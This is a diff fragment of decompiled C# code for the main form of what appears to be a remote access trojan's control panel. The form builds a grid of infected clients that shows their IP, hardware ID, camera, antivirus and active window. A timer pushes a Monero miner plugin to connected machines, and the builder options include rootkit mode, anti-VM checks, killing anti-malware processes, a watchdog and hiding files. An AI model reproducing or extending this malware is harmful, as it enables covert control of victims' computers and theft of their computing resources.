DataGridViewTextBoxColumn viewTextBoxColumn15 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn15.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; + viewTextBoxColumn15.HeaderText = "Message"; + DataGridViewTextBoxColumn viewTextBoxColumn16 = viewTextBoxColumn15; + columns8.Add((DataGridViewColumn) viewTextBoxColumn16); + DataGridViewColumnCollection columns9 = this.GridClients.Columns; + DataGridViewImageColumn gridViewImageColumn1 = new DataGridViewImageColumn(); + gridViewImageColumn1.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + gridViewImageColumn1.HeaderText = "Screen"; + gridViewImageColumn1.Width = 50; + DataGridViewImageColumn gridViewImageColumn2 = gridViewImageColumn1; + columns9.Add((DataGridViewColumn) gridViewImageColumn2); + DataGridViewColumnCollection columns10 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn17 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn17.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn17.HeaderText = "IP"; + viewTextBoxColumn17.MinimumWidth = 50; + viewTextBoxColumn17.Width = 100; + DataGridViewTextBoxColumn viewTextBoxColumn18 = viewTextBoxColumn17; + columns10.Add((DataGridViewColumn) viewTextBoxColumn18); + DataGridViewColumnCollection columns11 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn19 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn19.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn19.HeaderText = "Group"; + viewTextBoxColumn19.MinimumWidth = 50; + DataGridViewTextBoxColumn viewTextBoxColumn20 = viewTextBoxColumn19; + columns11.Add((DataGridViewColumn) viewTextBoxColumn20); + DataGridViewColumnCollection columns12 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn21 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn21.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn21.HeaderText = "Country"; + viewTextBoxColumn21.MinimumWidth = 150; + DataGridViewTextBoxColumn viewTextBoxColumn22 = viewTextBoxColumn21; + columns12.Add((DataGridViewColumn) viewTextBoxColumn22); + DataGridViewColumnCollection columns13 = this.GridClients.Columns; + DataGridViewImageColumn gridViewImageColumn3 = new DataGridViewImageColumn(); + gridViewImageColumn3.AutoSizeMode = DataGridViewAutoSizeColumnMode.ColumnHeader; + gridViewImageColumn3.HeaderText = "Flag"; + gridViewImageColumn3.MinimumWidth = 30; + gridViewImageColumn3.Width = 28; + DataGridViewImageColumn gridViewImageColumn4 = gridViewImageColumn3; + columns13.Add((DataGridViewColumn) gridViewImageColumn4); + DataGridViewColumnCollection columns14 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn23 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn23.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn23.HeaderText = "hwid"; + viewTextBoxColumn23.MinimumWidth = 140; + viewTextBoxColumn23.Width = 140; + DataGridViewTextBoxColumn viewTextBoxColumn24 = viewTextBoxColumn23; + columns14.Add((DataGridViewColumn) viewTextBoxColumn24); + DataGridViewColumnCollection columns15 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn25 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn25.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn25.HeaderText = "User"; + viewTextBoxColumn25.MinimumWidth = 100; + DataGridViewTextBoxColumn viewTextBoxColumn26 = viewTextBoxColumn25; + columns15.Add((DataGridViewColumn) viewTextBoxColumn26); + DataGridViewColumnCollection columns16 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn27 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn27.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn27.HeaderText = "Pc"; + viewTextBoxColumn27.MinimumWidth = 100; + DataGridViewTextBoxColumn viewTextBoxColumn28 = viewTextBoxColumn27; + columns16.Add((DataGridViewColumn) viewTextBoxColumn28); + DataGridViewColumnCollection columns17 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn29 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn29.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn29.HeaderText = "Computer"; + viewTextBoxColumn29.MinimumWidth = 100; + DataGridViewTextBoxColumn viewTextBoxColumn30 = viewTextBoxColumn29; + columns17.Add((DataGridViewColumn) viewTextBoxColumn30); + DataGridViewColumnCollection columns18 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn31 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn31.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn31.HeaderText = "Camera"; + viewTextBoxColumn31.MinimumWidth = 60; + DataGridViewTextBoxColumn viewTextBoxColumn32 = viewTextBoxColumn31; + columns18.Add((DataGridViewColumn) viewTextBoxColumn32); + DataGridViewColumnCollection columns19 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn33 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn33.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn33.HeaderText = "Cpu"; + viewTextBoxColumn33.MinimumWidth = 120; + DataGridViewTextBoxColumn viewTextBoxColumn34 = viewTextBoxColumn33; + columns19.Add((DataGridViewColumn) viewTextBoxColumn34); + DataGridViewColumnCollection columns20 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn35 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn35.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn35.HeaderText = "Gpu"; + viewTextBoxColumn35.MinimumWidth = 120; + DataGridViewTextBoxColumn viewTextBoxColumn36 = viewTextBoxColumn35; + columns20.Add((DataGridViewColumn) viewTextBoxColumn36); + DataGridViewColumnCollection columns21 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn37 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn37.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn37.HeaderText = "Ram"; + viewTextBoxColumn37.MinimumWidth = 70; + viewTextBoxColumn37.Width = 70; + DataGridViewTextBoxColumn viewTextBoxColumn38 = viewTextBoxColumn37; + columns21.Add((DataGridViewColumn) viewTextBoxColumn38); + DataGridViewColumnCollection columns22 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn39 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn39.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn39.HeaderText = "Gpu Memory"; + viewTextBoxColumn39.MinimumWidth = 100; + viewTextBoxColumn39.Width = 100; + DataGridViewTextBoxColumn viewTextBoxColumn40 = viewTextBoxColumn39; + columns22.Add((DataGridViewColumn) viewTextBoxColumn40); + DataGridViewColumnCollection columns23 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn41 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn41.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn41.HeaderText = "Ram"; + viewTextBoxColumn41.MinimumWidth = 60; + viewTextBoxColumn41.Width = 60; + DataGridViewTextBoxColumn viewTextBoxColumn42 = viewTextBoxColumn41; + columns23.Add((DataGridViewColumn) viewTextBoxColumn42); + DataGridViewColumnCollection columns24 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn43 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn43.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn43.HeaderText = "Cpu"; + viewTextBoxColumn43.MinimumWidth = 60; + viewTextBoxColumn43.Width = 60; + DataGridViewTextBoxColumn viewTextBoxColumn44 = viewTextBoxColumn43; + columns24.Add((DataGridViewColumn) viewTextBoxColumn44); + DataGridViewColumnCollection columns25 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn45 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn45.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn45.HeaderText = "Windows Version"; + viewTextBoxColumn45.MinimumWidth = 120; + DataGridViewTextBoxColumn viewTextBoxColumn46 = viewTextBoxColumn45; + columns25.Add((DataGridViewColumn) viewTextBoxColumn46); + DataGridViewColumnCollection columns26 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn47 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn47.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn47.HeaderText = "Client Version"; + viewTextBoxColumn47.MinimumWidth = 100; + viewTextBoxColumn47.Width = 100; + DataGridViewTextBoxColumn viewTextBoxColumn48 = viewTextBoxColumn47; + columns26.Add((DataGridViewColumn) viewTextBoxColumn48); + DataGridViewColumnCollection columns27 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn49 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn49.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn49.HeaderText = "Time Install"; + viewTextBoxColumn49.MinimumWidth = 110; + viewTextBoxColumn49.Width = 110; + viewTextBoxColumn49.ValueType = System.Type.GetType("System.Date"); + DataGridViewTextBoxColumn viewTextBoxColumn50 = viewTextBoxColumn49; + columns27.Add((DataGridViewColumn) viewTextBoxColumn50); + DataGridViewColumnCollection columns28 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn51 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn51.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn51.HeaderText = "Privilege"; + viewTextBoxColumn51.MinimumWidth = 60; + viewTextBoxColumn51.Width = 60; + DataGridViewTextBoxColumn viewTextBoxColumn52 = viewTextBoxColumn51; + columns28.Add((DataGridViewColumn) viewTextBoxColumn52); + DataGridViewColumnCollection columns29 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn53 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn53.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn53.HeaderText = "AntiVirus"; + DataGridViewTextBoxColumn viewTextBoxColumn54 = viewTextBoxColumn53; + columns29.Add((DataGridViewColumn) viewTextBoxColumn54); + DataGridViewColumnCollection columns30 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn55 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn55.AutoSizeMode = DataGridViewAutoSizeColumnMode.None; + viewTextBoxColumn55.HeaderText = "Ping"; + viewTextBoxColumn55.MinimumWidth = 40; + viewTextBoxColumn55.Width = 40; + DataGridViewTextBoxColumn viewTextBoxColumn56 = viewTextBoxColumn55; + columns30.Add((DataGridViewColumn) viewTextBoxColumn56); + DataGridViewColumnCollection columns31 = this.GridClients.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn57 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn57.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; + viewTextBoxColumn57.HeaderText = "Active Window"; + viewTextBoxColumn57.MinimumWidth = 500; + DataGridViewTextBoxColumn viewTextBoxColumn58 = viewTextBoxColumn57; + columns31.Add((DataGridViewColumn) viewTextBoxColumn58); + this.GridClients.AutoSizeColumnsMode = DataGridViewAutoSizeColumnsMode.None; + typeof (DataGridView).InvokeMember("DoubleBuffered", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.SetProperty, (Binder) null, (object) this.GridClients, new object[1] + { + (object) true + }); + typeof (DataGridView).InvokeMember("DoubleBuffered", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.SetProperty, (Binder) null, (object) this.GridLogs, new object[1] + { + (object) true + }); + typeof (DataGridView).InvokeMember("DoubleBuffered", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.SetProperty, (Binder) null, (object) this.GridAutoTasks, new object[1] + { + (object) true + }); + typeof (DataGridView).InvokeMember("DoubleBuffered", BindingFlags.Instance | BindingFlags.NonPublic | BindingFlags.SetProperty, (Binder) null, (object) this.GridIps, new object[1] + { + (object) true + }); + DataGridViewCellStyle gridViewCellStyle = new DataGridViewCellStyle(); + gridViewCellStyle.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle.ForeColor = Color.FromArgb(50, 205, 50); + gridViewCellStyle.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle.SelectionBackColor = Color.FromArgb(50, 205, 50); + gridViewCellStyle.WrapMode = DataGridViewTriState.False; + this.GridIps.DefaultCellStyle = gridViewCellStyle; + this.GridAutoTasks.DefaultCellStyle = gridViewCellStyle; + this.GridClients.DefaultCellStyle = gridViewCellStyle; + this.GridClients.RowTemplate.Resizable = DataGridViewTriState.True; + this.GridClients.RowTemplate.MinimumHeight = 30; + this.notf.Show(); + this.toogleNotyfiClient.Checked = Settings.Default.notify; + this.toogleNotyfiNewClient.Checked = Settings.Default.notifynew; + this.DiscordWebHook.Checked = Settings.Default.DiscordWebHook; + this.metroTextBox1.Text = Settings.Default.port; + this.AutoStartPortCheck.Checked = Settings.Default.AutoStartPort; + this.gMapControl1.DragButton = MouseButtons.Left; + this.gMapControl1.MapProvider = (GMapProvider) GMapProviders.GoogleMap; + AutoTaskM.Import(); + if (File.Exists("ConfigBulid.json")) + Bulid.Load("ConfigBulid.json"); + if (File.Exists("Themes.json")) + Customs.Load("Themes.json"); + this.gMapControl1.Overlays.Add(new GMapOverlay("Online")); + this.gMapControl1.Overlays.Add(new GMapOverlay("Offline")); + if (File.Exists("Maps.json")) + Map.Load("Maps.json"); + this.SetTheme(); + if (Settings.Default.AutoStartPort && !string.IsNullOrEmpty(this.metroTextBox1.Text)) + { + this.listner = new Listener((object) this.metroTextBox1.Text); + this.metroButton1.Text = "Stop"; + } + this.GridClients.KeyDown += new KeyEventHandler(this.DataGridKey_Down); + this.GridClients.KeyUp += new KeyEventHandler(this.DataGridKey_Up); + } + + public Clients[] ClientsSelected() + { + List clientsList = new List(); + foreach (DataGridViewRow selectedRow in (BaseCollection) this.GridClients.SelectedRows) + clientsList.Add((Clients) selectedRow.Tag); + return clientsList.ToArray(); + } + + public Clients[] ClientsAll() + { + List clientsList = new List(); + foreach (DataGridViewRow row in (IEnumerable) this.GridClients.Rows) + clientsList.Add((Clients) row.Tag); + return clientsList.ToArray(); + } + + public void SetThemeContextMenu(MetroThemeStyle themeStyle, ContextMenuStrip contextMenuStrip) + { + if (themeStyle == MetroThemeStyle.Dark) + { + foreach (ToolStripMenuItem toolStripMenuItem in (ArrangedElementCollection) contextMenuStrip.Items) + { + toolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + foreach (ToolStripItem dropDownItem in (ArrangedElementCollection) toolStripMenuItem.DropDownItems) + dropDownItem.BackColor = Color.FromArgb(17, 17, 17); + } + } + else + { + foreach (ToolStripMenuItem toolStripMenuItem in (ArrangedElementCollection) contextMenuStrip.Items) + { + toolStripMenuItem.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + foreach (ToolStripItem dropDownItem in (ArrangedElementCollection) toolStripMenuItem.DropDownItems) + dropDownItem.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + } + } + } + + private void metroToggle1_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[0].Visible = this.metroToggle1.Checked; + } + + private void metroToggle2_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[1].Visible = this.metroToggle2.Checked; + } + + private void metroToggle3_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[2].Visible = this.metroToggle3.Checked; + } + + private void metroToggle4_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[3].Visible = this.metroToggle4.Checked; + } + + private void metroToggle8_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[4].Visible = this.metroToggle8.Checked; + } + + private void metroToggle7_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[5].Visible = this.metroToggle7.Checked; + } + + private void metroToggle6_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[6].Visible = this.metroToggle6.Checked; + } + + private void metroToggle5_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[7].Visible = this.metroToggle5.Checked; + } + + private void metroToggle12_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[8].Visible = this.metroToggle12.Checked; + } + + private void metroToggle23_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[9].Visible = this.metroToggle23.Checked; + } + + private void metroToggle19_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[10].Visible = this.metroToggle19.Checked; + } + + private void metroToggle18_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[11].Visible = this.metroToggle18.Checked; + } + + private void metroToggle17_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[12].Visible = this.metroToggle17.Checked; + } + + private void metroToggle22_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[13].Visible = this.metroToggle22.Checked; + } + + private void metroToggle21_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[14].Visible = this.metroToggle21.Checked; + } + + private void metroToggle20_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[15].Visible = this.metroToggle20.Checked; + } + + private void metroToggle11_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[16 /*0x10*/].Visible = this.metroToggle11.Checked; + } + + private void metroToggle10_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[17].Visible = this.metroToggle10.Checked; + } + + private void metroToggle9_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[18].Visible = this.metroToggle9.Checked; + } + + private void metroToggle16_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[19].Visible = this.metroToggle16.Checked; + } + + private void metroToggle15_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[20].Visible = this.metroToggle15.Checked; + } + + private void metroToggle14_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[21].Visible = this.metroToggle14.Checked; + } + + private void metroToggle13_CheckedChanged(object sender, EventArgs e) + { + this.GridClients.Columns[22].Visible = this.metroToggle13.Checked; + } + + private void TimeOut_Tick(object sender, EventArgs e) + { + Clients[] allClients = this.ClientsAll(); + if (allClients.Length == 0) + return; + List miningxm = new List(); + string checksum = ""; + if (this.MinerActiveXmr) + { + miningxm = ((IEnumerable) this.MinerXmr.ClientsAll()).ToList(); + checksum = Methods.GetChecksum("Plugins\\MinerXmr.dll"); + } + DateTime Now = DateTime.Now; + Task.Run((Action) (() => + { + foreach (Clients clients1 in allClients) + { + Clients clients = clients1; + if (Methods.DiffSeconds(clients.LastPiy, Now) > 30.0) + clients.Disconnected("TimeOut"); + else if (this.MinerActiveXmr && miningxm.Find((Predicate) (item => item.ID == clients.ID)) == null) + { + if (string.IsNullOrEmpty((string) clients.Item.Cells[13].Value)) + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + else if (this.MinerXmr.CheckDontGpu.Checked) + { + bool flag = true; + string str1 = (string) clients.Item.Cells[13].Value; + char[] chArray = new char[1]{ ',' }; + foreach (string str2 in str1.Split(chArray)) + { + if (Convert.ToInt32(str2.Replace("GB", "")) >= 3) + flag = false; + } + if (flag) + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + else + clients.Send((object) $"Invoke<@>{checksum}<@>null"); + } + } + })); + } + + private void timer1_Tick(object sender, EventArgs e) + { + Clients[] allClients = this.ClientsAll(); + if (allClients.Length == 0) + return; + Task.Run((Action) (() => + { + foreach (Clients clients in allClients) + clients.Send((object) "P"); + })); + } + + private void SetTheme() + { + if (Customs.customs.Theme == MetroThemeStyle.Dark && Customs.customs.Style == MetroColorStyle.Lime) + return; + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.pictureBox6.Image = (Image) Resources.BackGroundImage; + this.Theme = Customs.customs.Theme; + this.metroTabControl1.Theme = Customs.customs.Theme; + this.CheckBoxRootKitMode.Theme = Customs.customs.Theme; + this.metroTabPage1.Theme = Customs.customs.Theme; + this.metroTabPage2.Theme = Customs.customs.Theme; + this.metroTabPage3.Theme = Customs.customs.Theme; + this.metroTabPage4.Theme = Customs.customs.Theme; + this.metroTabPage6.Theme = Customs.customs.Theme; + this.metroToggle1.Theme = Customs.customs.Theme; + this.metroToggle2.Theme = Customs.customs.Theme; + this.metroToggle3.Theme = Customs.customs.Theme; + this.metroToggle4.Theme = Customs.customs.Theme; + this.metroToggle5.Theme = Customs.customs.Theme; + this.metroToggle6.Theme = Customs.customs.Theme; + this.metroToggle7.Theme = Customs.customs.Theme; + this.metroToggle8.Theme = Customs.customs.Theme; + this.metroToggle9.Theme = Customs.customs.Theme; + this.metroToggle10.Theme = Customs.customs.Theme; + this.metroToggle11.Theme = Customs.customs.Theme; + this.metroToggle12.Theme = Customs.customs.Theme; + this.metroToggle13.Theme = Customs.customs.Theme; + this.metroToggle14.Theme = Customs.customs.Theme; + this.metroToggle15.Theme = Customs.customs.Theme; + this.metroToggle16.Theme = Customs.customs.Theme; + this.metroToggle17.Theme = Customs.customs.Theme; + this.metroToggle18.Theme = Customs.customs.Theme; + this.metroToggle19.Theme = Customs.customs.Theme; + this.metroToggle20.Theme = Customs.customs.Theme; + this.metroToggle21.Theme = Customs.customs.Theme; + this.metroToggle22.Theme = Customs.customs.Theme; + this.metroToggle23.Theme = Customs.customs.Theme; + this.toogleNotyfiClient.Theme = Customs.customs.Theme; + this.toogleNotyfiNewClient.Theme = Customs.customs.Theme; + this.DiscordWebHook.Theme = Customs.customs.Theme; + this.DiscordNotifyClient.Theme = Customs.customs.Theme; + this.DiscordNotifyNewClient.Theme = Customs.customs.Theme; + this.DiscordSendLogs.Theme = Customs.customs.Theme; + this.metroLabel1.Theme = Customs.customs.Theme; + this.metroLabel2.Theme = Customs.customs.Theme; + this.metroButton7.Theme = Customs.customs.Theme; + this.metroLabel3.Theme = Customs.customs.Theme; + this.metroLabel4.Theme = Customs.customs.Theme; + this.metroLabel5.Theme = Customs.customs.Theme; + this.metroLabel6.Theme = Customs.customs.Theme; + this.metroLabel7.Theme = Customs.customs.Theme; + this.metroLabel8.Theme = Customs.customs.Theme; + this.metroLabel9.Theme = Customs.customs.Theme; + this.metroLabel10.Theme = Customs.customs.Theme; + this.metroLabel11.Theme = Customs.customs.Theme; + this.metroLabel12.Theme = Customs.customs.Theme; + this.metroLabel13.Theme = Customs.customs.Theme; + this.metroLabel14.Theme = Customs.customs.Theme; + this.metroLabel15.Theme = Customs.customs.Theme; + this.metroLabel16.Theme = Customs.customs.Theme; + this.metroLabel17.Theme = Customs.customs.Theme; + this.metroLabel18.Theme = Customs.customs.Theme; + this.metroLabel19.Theme = Customs.customs.Theme; + this.metroLabel20.Theme = Customs.customs.Theme; + this.metroLabel21.Theme = Customs.customs.Theme; + this.metroLabel22.Theme = Customs.customs.Theme; + this.metroLabel23.Theme = Customs.customs.Theme; + this.metroLabel24.Theme = Customs.customs.Theme; + this.metroLabel25.Theme = Customs.customs.Theme; + this.metroLabel26.Theme = Customs.customs.Theme; + this.metroLabel27.Theme = Customs.customs.Theme; + this.metroLabel28.Theme = Customs.customs.Theme; + this.metroLabel29.Theme = Customs.customs.Theme; + this.metroLabel30.Theme = Customs.customs.Theme; + this.metroLabel31.Theme = Customs.customs.Theme; + this.metroLabel32.Theme = Customs.customs.Theme; + this.metroLabel33.Theme = Customs.customs.Theme; + this.metroLabel34.Theme = Customs.customs.Theme; + this.metroLabel35.Theme = Customs.customs.Theme; + this.metroLabel36.Theme = Customs.customs.Theme; + this.metroLabel37.Theme = Customs.customs.Theme; + this.metroLabel38.Theme = Customs.customs.Theme; + this.metroLabel39.Theme = Customs.customs.Theme; + this.metroLabel40.Theme = Customs.customs.Theme; + this.metroLabel41.Theme = Customs.customs.Theme; + this.metroLabel42.Theme = Customs.customs.Theme; + this.metroLabel48.Theme = Customs.customs.Theme; + this.metroTabPage7.Theme = Customs.customs.Theme; + this.metroRadioButton1.Theme = Customs.customs.Theme; + this.metroRadioButton2.Theme = Customs.customs.Theme; + this.metroRadioButton3.Theme = Customs.customs.Theme; + this.metroRadioButton5.Theme = Customs.customs.Theme; + this.metroRadioButton6.Theme = Customs.customs.Theme; + this.metroLabel43.Theme = Customs.customs.Theme; + this.metroLabel44.Theme = Customs.customs.Theme; + this.metroLabel45.Theme = Customs.customs.Theme; + this.metroLabel46.Theme = Customs.customs.Theme; + this.metroTextBox1.Theme = Customs.customs.Theme; + this.DiscordUrl.Theme = Customs.customs.Theme; + this.DiscordHookName.Theme = Customs.customs.Theme; + this.TextBoxIp.Theme = Customs.customs.Theme; + this.TextBoxGroup.Theme = Customs.customs.Theme; + this.TextBoxTaskSaveAdmin.Theme = Customs.customs.Theme; + this.TextBoxMutex.Theme = Customs.customs.Theme; + this.TextBoxHKCUNAME.Theme = Customs.customs.Theme; + this.TextBoxTaskForClient.Theme = Customs.customs.Theme; + this.TextBoxTaskForWatchDog.Theme = Customs.customs.Theme; + this.TextBoxPathClient.Theme = Customs.customs.Theme; + this.TextBoxPathWatchDog.Theme = Customs.customs.Theme; + this.TextBoxProduct.Theme = Customs.customs.Theme; + this.TextBoxDescription.Theme = Customs.customs.Theme; + this.TextBoxCompany.Theme = Customs.customs.Theme; + this.TextBoxCopyright.Theme = Customs.customs.Theme; + this.TextBoxTrademarks.Theme = Customs.customs.Theme; + this.TextBoxOriginalFileName.Theme = Customs.customs.Theme; + this.TextBoxProductVersion.Theme = Customs.customs.Theme; + this.TextBoxFileVersion.Theme = Customs.customs.Theme; + this.metroButton4.Theme = Customs.customs.Theme; + this.metroButton5.Theme = Customs.customs.Theme; + this.metroButton2.Theme = Customs.customs.Theme; + this.SetThemeContextMenu(Customs.customs.Theme, this.contextMenuForClients); + this.SetThemeContextMenu(Customs.customs.Theme, this.contextMenuForLogs); + this.SetThemeContextMenu(Customs.customs.Theme, this.contextMenuForTasks); + this.panel1.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.panel2.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.GridClients.BackgroundColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.GridLogs.BackgroundColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.GridIps.BackgroundColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.GridAutoTasks.BackgroundColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.GridClients.GridColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.GridLogs.GridColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.GridAutoTasks.GridColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.GridIps.GridColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.numericUpDown1.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.fromDiskToolStripMenuItem.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.fromMemoryToolStripMenuItem.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.fromLinkToolStripMenuItem.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.toolStripMenuItem4.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.pictureBoxIco.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.panel3.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.panel4.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.metroButton1.Theme = Customs.customs.Theme; + this.ButtonIpAdd.Theme = Customs.customs.Theme; + this.ButtonRemoveIp.Theme = Customs.customs.Theme; + this.ButtonSelectIco.Theme = Customs.customs.Theme; + this.ButtonSelectSigTheif.Theme = Customs.customs.Theme; + this.metroButton3.Theme = Customs.customs.Theme; + this.metroButton2.Theme = Customs.customs.Theme; + this.metroButton1.Theme = Customs.customs.Theme; + this.ButtonCopyAssembly.Theme = Customs.customs.Theme; + this.RadioButtonExitAntiProcess.Theme = Customs.customs.Theme; + this.RadioButtonKillAntiProcess.Theme = Customs.customs.Theme; + this.CheckBoxSigTheif.Theme = Customs.customs.Theme; + this.CheckBoxAntiVirtual.Theme = Customs.customs.Theme; + this.CheckBoxAdminGet.Theme = Customs.customs.Theme; + this.CheckBoxInstall.Theme = Customs.customs.Theme; + this.CheckBoxWatchDog.Theme = Customs.customs.Theme; + this.CheckBoxPumper.Theme = Customs.customs.Theme; + this.CheckBoxHideFile.Theme = Customs.customs.Theme; + this.CheckBoxHideFolder.Theme = Customs.customs.Theme; + 